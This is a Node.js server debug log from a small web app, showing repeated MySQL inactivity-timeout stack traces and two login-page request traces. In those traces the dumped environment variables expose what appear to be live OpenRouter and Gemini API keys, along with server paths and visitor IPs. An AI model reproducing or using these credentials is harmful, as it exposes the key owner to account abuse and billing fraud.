    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 00:30:06' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 00:54:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 00:54:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 02:30:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 02:30:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 04:19:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 04:19:07' as DATETIME)"
}
2026-01-13T05:43:52.121Z server-connect:router Serving templateView /
2026-01-13T05:43:52.123Z server-connect:app Executing action step identify
2026-01-13T05:43:52.123Z server-connect:app options: { provider: 'security' }
2026-01-13T05:43:52.123Z server-connect:auth No login cookie found
2026-01-13T05:43:52.123Z server-connect:output identity: false
2026-01-13T05:43:52.123Z server-connect:app Executing action step restrict
2026-01-13T05:43:52.123Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-13T05:43:52.124Z server-connect:output restrict: undefined
2026-01-13T05:43:52.246Z server-connect:router Serving templateView /login
2026-01-13T05:43:52.246Z server-connect:app Executing action step identify
2026-01-13T05:43:52.246Z server-connect:app options: { provider: 'security' }
2026-01-13T05:43:52.246Z server-connect:auth No login cookie found
2026-01-13T05:43:52.246Z server-connect:output identity: false
2026-01-13T05:43:52.247Z server-connect:router Render template layouts/authentication
2026-01-13T05:43:52.247Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '72.11.155.223',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-14T05:43:52.246Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '72.11.155.223',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '72.11.155.223',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 06:04:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 06:04:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 10:50:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 10:50:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 11:17:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 11:17:07' as DATETIME)"
}
2026-01-13T12:21:01.700Z server-connect:router Serving templateView /
2026-01-13T12:21:01.702Z server-connect:app Executing action step identify
2026-01-13T12:21:01.702Z server-connect:app options: { provider: 'security' }
2026-01-13T12:21:01.703Z server-connect:auth No login cookie found
2026-01-13T12:21:01.703Z server-connect:output identity: false
2026-01-13T12:21:01.703Z server-connect:app Executing action step restrict
2026-01-13T12:21:01.703Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-13T12:21:01.703Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 14:17:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 14:17:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 17:13:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 17:13:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 17:28:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 17:28:50' as DATETIME)"
}
2026-01-13T19:15:05.804Z server-connect:router Serving templateView /
2026-01-13T19:15:05.806Z server-connect:app Executing action step identify
2026-01-13T19:15:05.806Z server-connect:app options: { provider: 'security' }
2026-01-13T19:15:05.806Z server-connect:auth No login cookie found
2026-01-13T19:15:05.806Z server-connect:output identity: false
2026-01-13T19:15:05.807Z server-connect:app Executing action step restrict
2026-01-13T19:15:05.807Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-13T19:15:05.807Z server-connect:output restrict: undefined
2026-01-13T19:15:07.738Z server-connect:router Serving templateView /login
2026-01-13T19:15:07.738Z server-connect:app Executing action step identify
2026-01-13T19:15:07.738Z server-connect:app options: { provider: 'security' }
2026-01-13T19:15:07.739Z server-connect:auth No login cookie found
2026-01-13T19:15:07.739Z server-connect:output identity: false
2026-01-13T19:15:07.739Z server-connect:router Render template layouts/authentication
2026-01-13T19:15:07.739Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.138.187',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-14T19:15:07.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.138.187',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.138.187',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 19:51:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 19:51:12' as DATETIME)"
}
Error: delete from `sessions` where expired < CAST('2026-01-13 20:47:07' as DATETIME) - Server shutdown in progress
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_SERVER_SHUTDOWN',
  errno: 1053,
  sqlState: '08S01',
  sqlMessage: 'Server shutdown in progress',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 20:47:07' as DATETIME)"
}
Error: connect ECONNREFUSED 65.21.215.19:3306
    at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
  errno: -111,
  code: 'ECONNREFUSED',
  syscall: 'connect',
  address: '65.21.215.19',
  port: 3306,
  fatal: true
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 21:00:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 21:00:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 23:29:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-13 23:29:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 23:32:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
